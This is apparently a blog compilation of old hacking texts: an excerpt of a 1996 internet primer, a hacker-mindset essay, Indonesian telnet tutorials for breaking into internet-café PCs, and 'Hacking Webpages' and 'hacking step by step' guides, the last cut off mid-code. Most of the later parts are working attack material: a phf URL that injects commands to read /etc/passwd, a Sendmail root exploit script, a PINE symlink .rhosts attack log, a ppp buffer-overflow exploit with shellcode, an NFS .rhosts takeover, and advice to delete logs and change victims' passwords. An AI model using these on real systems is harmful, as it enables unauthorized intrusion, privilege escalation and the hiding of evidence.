* telnet -- a way to login to remote Internet computers
* file transfer protocol -- a way to download files from remote Internet computers
* Internet relay chat -- real-time text conversations -- used primarily by hackers and other Internet old-timers
* gopher -- a way of cataloging and searching for information. This is rapidly growing obsolete.
As you port surfers know, there are dozens of other interesting but less well known services such as whois, finger, ping etc.
The World Wide Web
The World Wide Web is the newest major feature of the Internet, dating from the spring of 1992. It consists of "Web pages," which are like pages in a book, and links from specially marked words, phrases or symbols on each page to other Web pages. These pages and links together create what is known as "hypertext." This technique makes it possible to tie together many different documents which may be written by many people and stored on many different computers around the world into one hypertext document.
This technique is based upon the Universal Resource Locator (URL) standard, which specifies how to hook up with the computer and access the files within it where the data of a Web page may be stored.
A URL is always of the form http://, where includes a domain name which must be registered with an organization called InterNIC in order to make sure that two different Web pages (or email addresses, or computer addresses) don't end up being identical. This registration is one of the few centralized control features of the Internet.
Here's how the hypertext of the World Wide Web works. The reader would come to a statement such as "our company offers LTL truck service to all major US cities." If this statement on the "Web page" is highlighted, that means that a click of the reader's computer mouse will take him or her to a new Web page with details. These may include complete schedules and a form to fill out to order a pickup and delivery.
Some Web pages even offer ways to make electronic payments, usually through credit cards.
However, the security of money transfers over the Internet is still a major issue. Yet despite concerns with verifiability of financial transactions, electronic commerce over the Web is growing fast. In its second full year of existence, 1994, only some $17.6 million in sales were conducted over the Web. But in 1995, sales reached $400 million. Today, in 1996, the Web is jammed with commercial sites begging for your credit card information.
In addition, the Web is being used as a tool in the distribution of a new form of currency, known as electronic cash. It is conceivable that, if the hurdle of verifiability may be overcome, that electronic cash (often called ecash) may play a major role in the world economy, simplifying international trade. It may also eventually make national currencies and even taxation as we know it obsolete.
Examples of Web sites where one may obtain ecash include the Mark Twain Bank of St. Louis, MO (http://www.marktwain.com) and Digicash of Amsterdam, The Netherlands (http://www.digicash.com).
The almost out-of-control nature of the Internet manifests itself on the World Wide Web. The author of a Web page does not need to get permission or make any arrangement with the authors of other Web pages to which he or she wishes to establish links. Links may be established automatically simply by programming in the URLs of desired Web page links.
Conversely, the only way the author of a Web page can prevent other people from reading it or establishing hypertext links to it is to set up a password protection system (or by not having communications links to the rest of the Internet).
A problem with the World Wide Web is how to find things on it. Just as anyone may hook a new computer up to the Internet, so also there is no central authority with control or even knowledge of what is published where on the World Wide Web. No one needs to ask permission of a central authority to put up a Web page.
Once a user knows the address (URL) of a Web page, or at least the URL of a Web page that links eventually to the desired page, then it is possible (so long as communications links are available) to almost instantly hook up with this page.
Because of the value of knowing URLs, there now are many companies and academic institutions that offer searchable indexes (located on the Web) to the World Wide Web. Automated programs such as Web crawlers search the Web and catalog the URLs they encounter as they travel from hypertext link to hypertext link. But because the Web is constantly growing and changing, there is no way to create a comprehensive catalog of the entire Web.
Email
Email is the second oldest use of the Internet, dating back to the ARPAnet of 1972. (The first use was to allow people to remotely log in to their choice of one of the four computers on which ARPAnet was launched in 1971.)
There are two major uses of email: private communications, and broadcasted email. When broadcasted, email serves to make announcements (one-way broadcasting), and to carry on discussions among groups of people such as our Happy Hacker list. In the group discussion mode, every message sent by every member of the list is broadcasted to all other members.
The two most popular program types used to broadcast to email discussion groups are majordomo and listserv.
Usenet
Usenet was a natural outgrowth of the broadcasted email group discussion list. One problem with email lists is that there was no easy way for people new to these groups to join them. Another problem is that as the group grows, a member may be deluged with dozens or hundreds of email messages each day.
In 1979 these problems were addressed by the launch of Usenet. Usenet consists of news groups which carry on discussions in the form of "posts." Unlike an email discussion group, these posts are stored, typically for two weeks or so, awaiting potential readers. As new posts are submitted to a news group, they are broadcast to all Internet hosts that are subscribed to carry the news groups to which these posts belong.
With many Internet connection programs you can see the similarities between Usenet and email. Both have similar headers, which track their movement across the Net. Some programs such as Pine are sent up to send the same message simultaneously to both email addresses and newsgroups. All Usenet news readers allow you to email the authors of posts, and many also allow you to email these posts themselves to yourself or other people.
Now, here is a quick overview of the Internet basics we plan to cover in the next several issues of Guide to (mostly) Harmless Hacking:
1. Unix
We discuss “shells” which allow one to write programs (“scripts”) that automate complicated series of Unix commands. The reader is introduced to the concept of scripts which perform hacking functions. We introduce Perl, which is a shell programming language used for the most elite of hacking scripts such as SATAN.
3. TCP/IP and UUCP
This chapter covers the communications links that bind together the Internet from a hackers' perspective. Extra attention is given to UUCP since it is so hackable.
4. Internet Addresses, Domain Names and Routers
The reader learns how information is sent to the right places on the Internet, and how hackers can make it go to the wrong places! How to look up UUCP hosts (which are not under the domain name system) is included.
5. Fundamentals of Elite Hacking: Ports, Packets and File Permissions
This section lets the genie of serious hacking out of the bottle. It offers a series of exercises in which the reader can enjoy gaining access to almost any randomly chosen Internet host. In fact, by the end of the chapter the reader will have had the chance to practice several dozen techniques for gaining entry to other peoples' computers. Yet these hacks we teach are 100% legal!
_________________________________________________________
Want to subscribe to this list? Email hacker@techbroker.com with the message “subscribe happyhacker.” Want to share some kewl stuph with the Happy Hacker list? Send your messages to hacker@techbroker.com. To send me confidential email (please, no discussions of illegal activities) use cmeinel@techbroker.com. Please direct flames to dev/null@techbroker.com. Happy hacking!
Copyright 1996 Carolyn P. Meinel. You may forward the GUIDE TO (mostly) HARMLESS HACKING as long as you leave this notice at the end..
________________________________________________________
________________________________________

Hackmind

2009-05-27T13:53:00.001-07:00

So you wanna be a HACKER huh? It's a state-of-MIND!
..you can induce it - but only if you are willing to drive yourself
mad enough! Go read and practice until you have mastered at least
Assembly language and Intermediate Level Electronics! Without this
foundation you'll be just another little geek, who might know the magic
words to the spell but dosent understand what he's doing! So RTFM!
..so what does that mean? Read The Fucking Manual! You will be sooo
amazed at how easy most things are if you just try to read the manual
first! The truth is: Most people cant read. Or they read poorly if
they read at all. So if you can't really read...STOP RIGHT HERE. GO
learn to read first. If you can't read at a minimum 12th Grade level
you cant be a hacker. Reading is the basic skill you must have to do
EVERYTHING BEYOND THIS POINT.

Tell your friends you cant party...you're busy. Spend at least 4
hours a day at your new-found fascination...or decide right here
and now that you cant cut it! If you CAN, get a copy of MINIX or
LINUX...start learning about OPERATING SYSTEMS. Then start your
1st real hack...try building a computer-controlled, DTMF dialer
card for your cheap PC...write the code to use it with, make it
a TSR to keep life interesting...now port it to MINIX or whatever
...better yet, port it as an IOCTL call at kernel level! You keep
reading...

Now you're ready to take on something more complex - go to the
Library, start a literature search; topic: Telephone Technologies.
RTFM! Learm about the ancient cross-bar, the Pre-ESS systems, the
fab MFTSS, the TELEX boxes and circuits...keep reading...buy up
an older, cheap (like under $50) cellular phone...by this time
you should already have a subscription to 'Nuts & Volts" as well
as a few other grassroots technology pubs....buy a copy of the
"Cellular Hacker's Bible"....start by doing something simple..
..disassemble and re-write the phone`s control ROM to allow it
to function as an 800MHZ scanner...hopefully you've assembled
a large array of tools and test gear by now. You've got a good
dual-trace scope, some pc-based PROM burner, a signal generator,
a logic probe or two, maybe even a microprocessor-emulator for
the 5051, the Z80, the 68010 or something....you may have been
dragged into some fields-afar by life - incorporate them: If
somebody drasgged you into SCUBA, build your own sonar. If you
have gotten interested in amateur radio, you can build a lot
of swell stuff...I recommend you checkout Packet's AX25A level2
protocol...very slick stuff! If your bud's are all into motors,
take a whak at doing your own Performance PROMS for GM's F.I. and
spark advance curves...or try adapting some Volkswagen/BOSCHE
Kjetronics F.I. to a Harley Davidson!..maybe you're into music
so you buy a synthesizer and learn all about electronic music,
you start hacking analog modules and build a nicer synth than you
could buy! Then you interface it to a MIDI port on a cheap 286AT
and then hack up some sequencer software, or buy some and then
disassemble it to fix all the bugs! You keep reading...

By now most of your friends are also "far into the pudding", you
have either gained 50 lbs or gone totally skinny...your skin tone
is 2 shades lighter from being indoors so long...most of the opposite
sex is either totally freaked by or with you - they either dig you,
or they dont!...you're probably knocking on the door of what will
be a $60K+/yr job as a systems analyst...and you are well-aware that
90% of the people in this world can't talk their way out of a badly
cooked steak at the local eatery, let alone install a new motherboard
in their PC! So you pick up some extra cash on doing shit like that
for the straights...you keep reading, and RTFM'ing higher and higher,
learning about networks...the VCR breaks down and your SO bitches
about having to wait till monday to have it fixed...you fix it in
about 40 minutes....the next day the clothes dryer starts to make
squeeking noises like a 50' mouse, you've never fixed one before -
but somehow it's not that difficult to open the bastard up and find
the squeek and fix it...and suddenly it dawns on you that hacking
code or hardware is pretty much the same! You keep reading...

Congrats, you are now a real hacker. Absolutly nothing but a lack of
time (or in some cases money) can stop you. You are a true Technologic
Philosopher...you can function in places a mere Engineer or Scientist
would truly FEAR TO TREAD! You can read better than Evelyn Wood, you
have a collection of tools that would make a Master Machinist and a
Prototype EE or ME cry. You can calculate series and parallel resonant
circuits in your head. You can fix any consumer appliance - if you can
get the parts. Your car has either become one of your main hacks or
you'ver deligated the job to a mechanic who you have found to be a
fellow hacker; and you work on his homebrew 68010 unix box...because
you've got a 68010 emulator and he works on your car because that's
the kind he specializes in! Maybe you trade services with people
for 50% of what ordinary people have to BUY WITH CASH!...you keep
reading...

(this is the stage where the author now finds himself...16 years
into a career at a Fortune 5 company and age 42...still reading...
your mileage may vary! <-((that's my code too! I co-wrote VEEP,
(vehicle-economy-emissions-program, a complete auto-simulator,
written in Fortran-5 for the Univac 1108 system using punch-cards!)
for the Ford Foundation and the DOT while at JPL in 1973)) )

hacking with telnet (chapter 2)

2009-05-27T13:52:00.001-07:00

sekarang kamu sudah bisa melakukan masuk ke dalam komputer target mu...tapi yang dinamakan hacking itu bukan hanya sebatas masuk saja tanpa berbuat sesuatu.
...dalam chapter 2 ini, gw harap kamu bisa melakukan pola penyerangan yang pasti.dalam dunia hacking, ga ada belas kasihan(duuhhh galaknya gw)..kamu kalu mau berbuat,
ga perlu tanggung, tujuan mu adalah serang target,dapatkan keinginanmu, puaskan nafsumu(hehehehe), lalu campakan dia...alah lebay dah gw

lanjut ajah yach ke chapter 2 na

caranya:

16. Pastikan tujuan mu untuk melakukan hacking sbelumnya.apakah kamu hanya ingin mengacak-ngacak direktorinya??hapus semua file??mengambil filenya??upload virus??or hanya buat have fun saja??

17. Sekarang kita periksa root[.] #: dengan cara ketikan di CMD yaitu: DIR

18. Sekarang sudah terlihat isi direktory C: dari komputer target...

19. Bila anda ingin masuk ke dalam suatu folder, maka code yang kamu harus ketik adalah:CD(spasi) nama file
contoh: CD windows lalu tekan enter

20. Bila anda ingin kembali ke folder sebelumnya, anda hanya cukup mengetikan kode adalah:CD\
Contoh: CD\

21. Ini ada hal yang perlu kamu ketahui sedikit tentang kode-kode yang di gunakan dalam CMD yaitu:
1.DEL(spasi) nama file/folder
2.COPY(spai) nama file/folder
3.paste(spasi nama file/folder
4.Format C/D

22. Sekarang anda sudah mendapatkan yang anda inginkan, langkah selanjutnya adalah mencari folder telnet di root awal

23. Cari dan temukan segera, karena bila anda dalam jaringan yang bukan berada di LAN maksud gw itu hacking web or bank...factor kecepatan tangan lebih diutamakan karena bisa saja dalam hitungan menit bahkan detik, IP address kamu terdeteksi...dan ini menimbulkan masalah yang besar buat anda

24. santai saja, karena yang anda hacking itu bukan komputer web, bank, or kantoran...melainkan hanya hacking kecil versi LAN...tapi tetap di utamakan kecepatan

25. Bila sudah anda temukan folder TELNET, sekarang kamu wajib menghapus IP address kamu.sebab begitu kamu telnet ke komputer target,maka IP address kamu sebenarnya sudah terdeteksi oleh komputer target...tapi intinya adalah kita pinter-pinter ngambil celah saat user target sedang lengah

26. ketikan kode tersebut: Del(spasi) IP address kamu.
Contoh: Del 192.168.1.2 lalu tekan enter
27. Setelah selesai, jangan lupa untuk membersihkan layar CMD dengan kode: CLS
Contoh: CLS
28. Close CMD and tutup semua program yang mendukung tools kita dalam hacking kali ini

Pesan dari Gw:
1. Kalo bisa sich kamu punya tujuan yang bener-bener manfaat buat kamu pribadi
2. Dari bulletin ini, gw harap kamu udah bener-bener mahir dalam masalah hacking and bisa menjadi hacker sejati
3. Jangan tergesa-gesa menghapus telnet-nya, soalna bisa mengundang kecurigaan orang di samping anda.tenang ajah sob, ga kamu hapus juga no problem b`coz ini baru versi LAN ajah.tapi inget dalam versi yang global, jangan coba-coba untuk tidak menghapus telnet IP address kamu, karena kamu bisa di laporkan ke pihak police cyber
4. Keep fun yach...
5. Kalo bisa, pas lagi melakukannya dengan santai saja. ga perlu di bawa serius
6. Sekali lagi, penyalahgunaan bulletin ini penulis tidak bertanggung jawab atas hal-hal yang belum terpikirkan oleh gw sendiri...hehehehehehe

Kalo ada hal yang masih kurang dimengerti or ada masukan dari kamu,gw harap banget partisipasinya dalam pengembangan bersama...

nice have fun ^,..,^

Hacking with TELNET NETWORKING

2009-05-27T13:51:00.000-07:00

apaan tuh telnet??and apa tuh tujuan dari hacking telnet??keuntungannya apa coba hacking telnet??
and kalo bagus, gimana sich caranya buat melakukan hal tersebut??

mungkin itu kata-kata yang sempat mampir ke otak kalian...humm, sok tahu banget gw kaya ki joko bodo
...tapi biarlah,..
oia sebelumnya gw mau ngenalin ke kamu hal-hal yang akan kamu lakukan dalam dunia jaringan bebas...
didalam pembelajaran ini, gw hanya akan ngebahas bagaimana caranya hacking with telnet networking hanya di dalam jaringan kecil-kecilan dulu
coz kita kan belajar dari yang kecil dahulu, baru kita mencoba yang lebih besar...intinya, target hacking kita itu yang pertama adalah warnet...??
kenapa gw memilih warnet??soalnya kebanyakan keusilan gw banyak tercipta karena dendam pribadi di warnet....hehehehhehehehe

okay...kita mulai ajah deh, g usah kebanyakan curhat lagi gw na...

Kisi-kisi buat kamu:

1. Bacalah Bassmalah, agar yang kita kerjakan sukses and ga ke tahuan sama operatornya
2. Makan yang cukup n minum seperlunya...soalnya bakal lama kalo kamu gagal terus and kebanyakan teori
3. Tidur yang cukup agar tidak terlelah karena kecapean...soalnya bakal cape baca bulletin ini yang gw post kan...hehehehe
4. Niatin dalam hati kalo kamu pasti bisa
5. Pasang Lagu or MP3 agar lebih rilex

baiklah kita mulai saja:
1. klik START -> RUN -> CMD

2. di CMD ketikan netview lalu tekan enter

3. Di dalam CMD akan muncul daftar-daftar nama komputer yang terintegrasi dalam jaringan mu(LAN)...

4. Sebelumnya tentukan arah mana komputer yang akan kita hacking terlebih dahulu

5. Agar kita lebih yakin dalam hacking ini, kita di sunnah kan juga tau alamat IP komputer tersebut. untuk itulah gw menggunakan Advanced IP scanner(yang berada di AREA DOWNLOAD TOOLS)...kalau perlu download semua tools/software yang telah gw sediakan dalah hacking ini

6. Jalankan Advanced IP Scanner...penggunaan software ini hanya kita butuhkan untuk scanner IP saja, bila anda terlalu memaksakan penggunaannya dapat menyebabkan komputer hang...ini saran terbaik gw

7. Atur Select Range:
Contoh: Select Range:192.168.1.2 to:192.168.1.255 lalu klik SCAN

8. Maka akan muncul daftar IP dari 192.168.1.1 sampai 192.168.1.255 yang sedang online...pilih salah satu IP address tersebut

9. Berikutnya kita di sunnah kan juga untuk mencari port dari IP address tujuan kita...jalankan saja software or tools yang sudah di download sebelumnya di PC anda.sebenarnya ini ga terlalu penting sich, hanya untuk mengakurasikan keberhasilan hacking sampai kesekian % ajah

10. Setelah ditentukan IP nya dan portnya...kita balik lagi ke CMD tadi...

11. Sekarang kita coba ping IP address tersebut di CMD, apakah benar masih online...dengan cara:
Contoh: ping(spasi)IP lalu tekan enter
Contoh: ping 192.168.12 lalu tekan enter

12. Pastikan ping ini berhasil untuk melanjutkan kedalam tahap berikutnya

13. Setelah ping ini berhasil, kemudian kamu ketikan lagi perintah di CMD yaitu:
Sebagai Berikut: Telnet(spasi)IP address(spasi)port lalu tekan Enter
Contoh: telnet 192.168.1.2 23 lalu tekan Enter

14. Setelah itu anda diminta untuk mengisi user and password komputer target agar hal ini dapat terakses di bawah kekuasaan komputer target

15. Setelah berhasil...sampai saat itu gw ucapkan SELAMAT DATANG HACKERS DI KOMPUTER TARGET

Lanjut chapter 2

Pesan dari Gw:
1. sorry banget nich kalau cara ini terlalu panjang lebar...tapi ini sudah cara prosedure yang sering gw lakukan dalam hal ini
2. Sebenernya ada sich cara yang lebih simple lagi, cukup dengan software Advanced IP scanner v1.5...tapi gw ga memperkenankan kamu buat menggunakannya lebih jauh,b`coz ga bakalan nambah ilmu buat kamu nya and ini masih dikatakan belum stabil karena sering membuat komputer berjalan lambat bila dipaksakan aktif semua tools yang terdapat di software tersebut
3. Jangan mengundang hal-hal yang membuat orang tertarik kepada anda, contohnya:anda mengancam akan melakukan hal ini pada komputer target, or apa sajalah
4. Ini perjuangan belum berakhir, masih ada chapter 2 yang penting anda ketahui dalam hacking kecil-kecilan ini
5. Gw nganjurin sich ini buat kalangan pribadi, tapi kalo mau lo share ke orang lain...ya silahkan ajah, and tapi inget jangan lupa bawa-bawa nama gw ^,..,^
6. Gw gax bakalan mau nanggung penyalah gunaan bulletin ini, sanksi di tanggung anda.tapi gw jamin, g bakalan ada sanksi dari pihak manapun kalao anda mengikuti prosedure yang gw kasih tahu ke kamu
7. Ini buat have fun ajah kox...

Kalo ada hal yang masih kurang dimengerti or ada masukan dari kamu,gw harap banget partisipasinya dalam pengembangan bersama...
karena gw ga nutup kemungkinan yang ada dari kalian semua...

nice have fun ^,..,^ lanjut chapter 2 yach

hacking WebPages

2009-05-27T13:50:00.000-07:00

Hacking Webpages
The Ultimate Guide
By mangasaya.blogspot.com

Well Psychotic wrote one of the most helpful unix text files in cyberspace but with the mail that we recieved after the release of our famous 36 page Unix Bible we realised that unix isn't for everybody so we decided that we should write on another aspect of hacking..... Virtual Circuit and Psychotic is proud to release, "Hacking Webpages With a few Other Techniques." We will discuss a few various ways of hacking webpages and getting root. We are also going to interview and question other REAL hackers on the subjects.

Getting the Password File Through FTP

Ok well one of the easiest ways of getting superuser access is through anonymous ftp access into a webpage. First you need learn a little about the password file...

root:User:d7Bdg:1n2HG2:1127:20:Superuser
TomJones:p5Y(h0tiC:1229:20:Tom Jones,:/usr/people/tomjones:/bin/csh
BBob:EUyd5XAAtv2dA:1129:20:Billy Bob:/usr/people/bbob:/bin/csh

This is an example of a regular encrypted password file. The Superuser is the part that gives you root. That's the main part of the file.

root:x:0:1:Superuser:/:
ftp:x:202:102:Anonymous ftp:/u1/ftp:
ftpadmin:x:203:102:ftp Administrator:/u1/ftp

This is another example of a password file, only this one has one little difference, it's shadowed. Shadowed password files don't let you view or copy the actual encrypted password. This causes problems for the password cracker and dictionary maker(both explained later in the text). Below is another example of a shadowed password file:

root:x:0:1:0000-Admin(0000):/:/usr/bin/csh
daemon:x:1:1:0000-Admin(0000):/:
bin:x:2:2:0000-Admin(0000):/usr/bin:
sys:x:3:3:0000-Admin(0000):/:
adm:x:4:4:0000-Admin(0000):/var/adm:
lp:x:71:8:0000-lp(0000):/usr/spool/lp:
smtp:x:0:0:mail daemon user:/:
uucp:x:5:5:0000-uucp(0000):/usr/lib/uucp:
nuucp:x:9:9:0000-uucp(0000):/var/spool/uucppublic:/usr/lib/uucp/uucico
listen:x:37:4:Network Admin:/usr/net/nls:
nobody:x:60001:60001:uid no body:/:
noaccess:x:60002:60002:uid no access:/:
webmastr:x:53:53:WWW Admin:/export/home/webmastr:/usr/bin/csh
pin4geo:x:55:55:PinPaper Admin:/export/home/webmastr/new/gregY/test/pin4geo:/bin/false
ftp:x:54:54:Anonymous FTP:/export/home/anon_ftp:/bin/false

Shadowed password files have an "x" in the place of a password or sometimes they are disguised as an * as well.

Now that you know a little more about what the actual password file looks like you should be able to identify a normal encrypted pw from a shadowed pw file. We can now go on to talk about how to crack it.

Cracking a password file isn't as complicated as it would seem, although the files vary from system to system. 1.The first step that you would take is to download or copy the file. 2. The second step is to find a password cracker and a dictionary maker. Although it's nearly impossible to find a good cracker there are a few ok ones out there. I recomend that you look for Cracker Jack, John the Ripper, Brute Force Cracker, or Jack the Ripper. Now for a dictionary maker or a dictionary file... When you start a cracking prog you will be asked to find the the password file. That's where a dictionary maker comes in. You can download one from nearly every hacker page on the net. A dictionary maker finds all the possible letter combinations with the alphabet that you choose(ASCII, caps, lowercase, and numeric letters may also be added) . We will be releasing our pasword file to the public soon, it will be called, Psychotic Candy, "The Perfect Drug." As far as we know it will be one of the largest in circulation. 3. You then start up the cracker and follow the directions that it gives you.

The PHF Technique

Well I wasn't sure if I should include this section due to the fact that everybody already knows it and most servers have already found out about the bug and fixed it. But since I have been asked questions about the phf I decided to include it.

The phf technique is by far the easiest way of getting a password file(although it doesn't work 95% of the time). But to do the phf all you do is open a browser and type in the following link:

http://webpage_goes_here/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd

You replace the webpage_goes_here with the domain. So if you were trying to get the pw file for www.webpage.com you would type:

http://www.webpage.com/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd

and that's it! You just sit back and copy the file(if it works).

Telnet and Exploits

Well exploits are the best way of hacking webpages but they are also more complicated then hacking through ftp or using the phf. Before you can setup an exploit you must first have a telnet proggie, there are many different clients you can just do a netsearch and find everything you need.
It's best to get an account with your target(if possible) and view the glitches from the inside out. Exploits expose errors or bugs in systems and usually allow you to gain root access. There are many different exploits around and you can view each seperately. I'm going to list a few below but the list of exploits is endless.

This exploit is known as Sendmail v.8.8.4
It creates a suid program /tmp/x that calls shell as root. This is how you set it up:

cat << _EOF_ >/tmp/x.c
#define RUN "/bin/ksh"
#include
main()
{
execl(RUN,RUN,NULL);
}
_EOF_
#
cat << _EOF_ >/tmp/spawnfish.c
main()
{
execl("/usr/lib/sendmail","/tmp/smtpd",0);
}
_EOF_
#
cat << _EOF_ >/tmp/smtpd.c
main()
{
setuid(0); setgid(0);
system("chown root /tmp/x ;chmod 4755 /tmp/x");
}
_EOF_
#
#
gcc -O -o /tmp/x /tmp/x.c
gcc -O3 -o /tmp/spawnfish /tmp/spawnfish.c
gcc -O3 -o /tmp/smtpd /tmp/smtpd.c
#
/tmp/spawnfish
kill -HUP `/usr/ucb/ps -ax|grep /tmp/smtpd|grep -v grep|sed s/"[ ]*"// |cut -d" " -f1`
rm /tmp/spawnfish.c /tmp/spawnfish /tmp/smtpd.c /tmp/smtpd /tmp/x.c
sleep 5
if [ -u /tmp/x ] ; then
echo "leet..."
/tmp/x
fi

and now on to another exploit. I'm going to display the pine exploit through linux. By watching the process table with ps to see which users are running PINE, one can then do an ls in /tmp/ to gather the lockfile names for each user. Watching the process table once again will now reveal when each user quits PINE or runs out of unread messages in their INBOX, effectively deleting
the respective lockfile.

Creating a symbolic link from /tmp/.hamors_lockfile to ~hamors/.rhosts(for a generic example) will cause PINE to create ~hamors/.rhosts as a 666 file with PINE's process id as its contents. One may now simply do an echo "+ +" > /tmp/.hamors_lockfile, then rm /tmp/.hamors_lockfile.

This was writen by Sean B. Hamor…For this example, hamors is the victim while catluvr is the attacker:

hamors (21 19:04) litterbox:~> pine

catluvr (6 19:06) litterbox:~> ps -aux | grep pine
catluvr 1739 0.0 1.8 100 356 pp3 S 19:07 0:00 grep pine
hamors 1732 0.8 5.7 249 1104 pp2 S 19:05 0:00 pine

catluvr (7 19:07) litterbox:~> ls -al /tmp/ | grep hamors
- -rw-rw-rw- 1 hamors elite 4 Aug 26 19:05 .302.f5a4

catluvr (8 19:07) litterbox:~> ps -aux | grep pine
catluvr 1744 0.0 1.8 100 356 pp3 S 19:08 0:00 grep pine

catluvr (9 19:09) litterbox:~> ln -s /home/hamors/.rhosts /tmp/.302.f5a4

hamors (23 19:09) litterbox:~> pine

catluvr (11 19:10) litterbox:~> ps -aux | grep pine
catluvr 1759 0.0 1.8 100 356 pp3 S 19:11 0:00 grep pine
hamors 1756 2.7 5.1 226 992 pp2 S 19:10 0:00 pine

catluvr (12 19:11) litterbox:~> echo "+ +" > /tmp/.302.f5a4

catluvr (13 19:12) litterbox:~> cat /tmp/.302.f5a4
+ +

catluvr (14 19:12) litterbox:~> rm /tmp/.302.f5a4

catluvr (15 19:14) litterbox:~> rlogin litterbox.org -l hamors

now on to another one, this will be the last one that I'm going to show. Exploitation script for the ppp vulnerbility as described by no one to date, this is NOT FreeBSD-SA-96:15. Works on
FreeBSD as tested. Mess with the numbers if it doesnt work. This is how you set it up:

#include
#include
#include

#define BUFFER_SIZE 156 /* size of the bufer to overflow */

#define OFFSET -290 /* number of bytes to jump after the start
of the buffer */

long get_esp(void) { __asm__("movl %esp,%eax\n"); }

main(int argc, char *argv[])
{
char *buf = NULL;
unsigned long *addr_ptr = NULL;
char *ptr = NULL;
char execshell[] =
"\xeb\x23\x5e\x8d\x1e\x89\x5e\x0b\x31\xd2\x89\x56\x07\x89\x56\x0f" /* 16 bytes */
"\x89\x56\x14\x88\x56\x19\x31\xc0\xb0\x3b\x8d\x4e\x0b\x89\xca\x52" /* 16 bytes */
"\x51\x53\x50\xeb\x18\xe8\xd8\xff\xff\xff/bin/sh\x01\x01\x01\x01" /* 20 bytes */
"\x02\x02\x02\x02\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04"; /* 15 bytes, 57 total */

int i,j;

buf = malloc(4096);

/* fill start of bufer with nops */

i = BUFFER_SIZE-strlen(execshell);

memset(buf, 0x90, i);
ptr = buf + i;

/* place exploit code into the buffer */

for(i = 0; i < strlen(execshell); i++)
*ptr++ = execshell[i];

addr_ptr = (long *)ptr;
for(i=0;i < (104/4); i++)
*addr_ptr++ = get_esp() + OFFSET;

ptr = (char *)addr_ptr;
*ptr = 0;

setenv("HOME", buf, 1);

execl("/usr/sbin/ppp", "ppp", NULL);
}

Now that you've gotten root "what's next?" Well the choice is up to you but I would recommend changing the password before you delete or change anything. To change their password all you have to do is login via telnet and login with your new account. Then you just type: passwd and it will ask you for the old password first followed by the new one. Now only you will have the new pw and that should last for a while you can now upload you pages, delete all the logs and just plain do your worstJ Psychotic writes our own exploits and we will be releasing them soon, so keep your eyes open for them. We recommend that if you are serious about learing ethnical hacking that you download our Unix Bible.

~~PSYCHOTIC~~

hacking step by step

2009-05-27T13:49:00.002-07:00

User's guide
__________________________

Well, howdi folks... I guess you are all wondering who's this guy (me)
that's trying to show you a bit of everything... ?
Well, I ain't telling you anything of that...
Copyright, and other stuff like this (below).

Copyright and stuff...
______________________

If you feel offended by this subject (hacking) or you think that you could
do better, don't read the below information...
This file is for educational purposes ONLY...;)
I ain't responsible for any damages you made after reading this...(I'm very
serious...)
So this can be copied, but not modified (send me the changes, and if they
are good, I'll include them ).
Don't read it, 'cuz it might be illegal.
I warned you...
If you would like to continue, press .

Intro: Hacking step by step.
_________________________________________________________________________________

Well, this ain't exactely for begginers, but it'll have to do.
What all hackers has to know is that there are 4 steps in hacking...

Step 1: Getting access to site.
Step 2: Hacking r00t.
Step 3: Covering your traces.
Step 4: Keeping that account.

Ok. In the next pages we'll see exactely what I ment.

Step 1: Getting access.
_______

Well folks, there are several methods to get access to a site.
I'll try to explain the most used ones.
The first thing I do is see if the system has an export list:

mysite:~>/usr/sbin/showmount -e victim.site.com
RPC: Program not registered.

If it gives a message like this one, then it's time to search another way
in.
What I was trying to do was to exploit an old security problem by most
SUN OS's that could allow an remote attacker to add a .rhosts to a users
home directory... (That was possible if the site had mounted their home
directory.
Let's see what happens...

mysite:~>/usr/sbin/showmount -e victim1.site.com
/usr victim2.site.com
/home (everyone)
/cdrom (everyone)
mysite:~>mkdir /tmp/mount
mysite:~>/bin/mount -nt nfs victim1.site.com:/home /tmp/mount/
mysite:~>ls -sal /tmp/mount
total 9
1 drwxrwxr-x 8 root root 1024 Jul 4 20:34 ./
1 drwxr-xr-x 19 root root 1024 Oct 8 13:42 ../
1 drwxr-xr-x 3 at1 users 1024 Jun 22 19:18 at1/
1 dr-xr-xr-x 8 ftp wheel 1024 Jul 12 14:20 ftp/
1 drwxrx-r-x 3 john 100 1024 Jul 6 13:42 john/
1 drwxrx-r-x 3 139 100 1024 Sep 15 12:24 paul/
1 -rw------- 1 root root 242 Mar 9 1997 sudoers
1 drwx------ 3 test 100 1024 Oct 8 21:05 test/
1 drwx------ 15 102 100 1024 Oct 20 18:57 rapper/

Well, we wanna hack into rapper's home.
mysite:~>id
uid=0 euid=0
mysite:~>whoami
root
mysite:~>echo "rapper::102:2::/tmp/mount:/bin/csh" >> /etc/passwd

We use /bin/csh 'cuz bash leaves a (Damn!) .bash_history and you might
forget it on the remote server...

mysite:~>su - rapper
Welcome to rapper's user.
mysite:~>ls -lsa /tmp/mount/
total 9
1 drwxrwxr-x 8 root root 1024 Jul 4 20:34 ./
1 drwxr-xr-x 19 root root 1024 Oct 8 13:42 ../
1 drwxr-xr-x 3 at1 users 1024 Jun 22 19:18 at1/
1 dr-xr-xr-x 8 ftp wheel 1024 Jul 12 14:20 ftp/
1 drwxrx-r-x 3 john 100 1024 Jul 6 13:42 john/
1 drwxrx-r-x 3 139 100 1024 Sep 15 12:24 paul/
1 -rw------- 1 root root 242 Mar 9 1997 sudoers
1 drwx------ 3 test 100 1024 Oct 8 21:05 test/
1 drwx------ 15 rapper daemon 1024 Oct 20 18:57 rapper/

So we own this guy's home directory...

mysite:~>echo "+ +" > rapper/.rhosts
mysite:~>cd /
mysite:~>rlogin victim1.site.com
Welcome to Victim.Site.Com.
SunOs ver....(crap).
victim1:~$

This is the first method...
Another method could be to see if the site has an open 80 port. That would
mean that the site has a web page.
(And that's very bad, 'cuz it usually it's vulnerable).
Below I include the source of a scanner that helped me when NMAP wasn't written.
(Go get it at http://www.dhp.com/~fyodor. Good job, Fyodor).
NMAP is a scanner that does even stealth scanning, so lots of systems won't
record it.

/* -*-C-*- tcpprobe.c */
/* tcpprobe - report on which tcp ports accept connections */
/* IO ERROR, error@axs.net, Sep 15, 1995 */

#include
#include
#include
#include
#include
#include

int main(int argc, char **argv)
{
int probeport = 0;
struct hostent *host;
int err, i, net;
struct sockaddr_in sa;

if (argc != 2) {
printf("Usage: %s hostname\n", argv[0]);
exit(1);
}

for (i = 1; i < 1024; i++) {
strncpy((char *)&sa, "", sizeof sa);
sa.sin_family = AF_INET;
if (isdigit(*argv[1]))
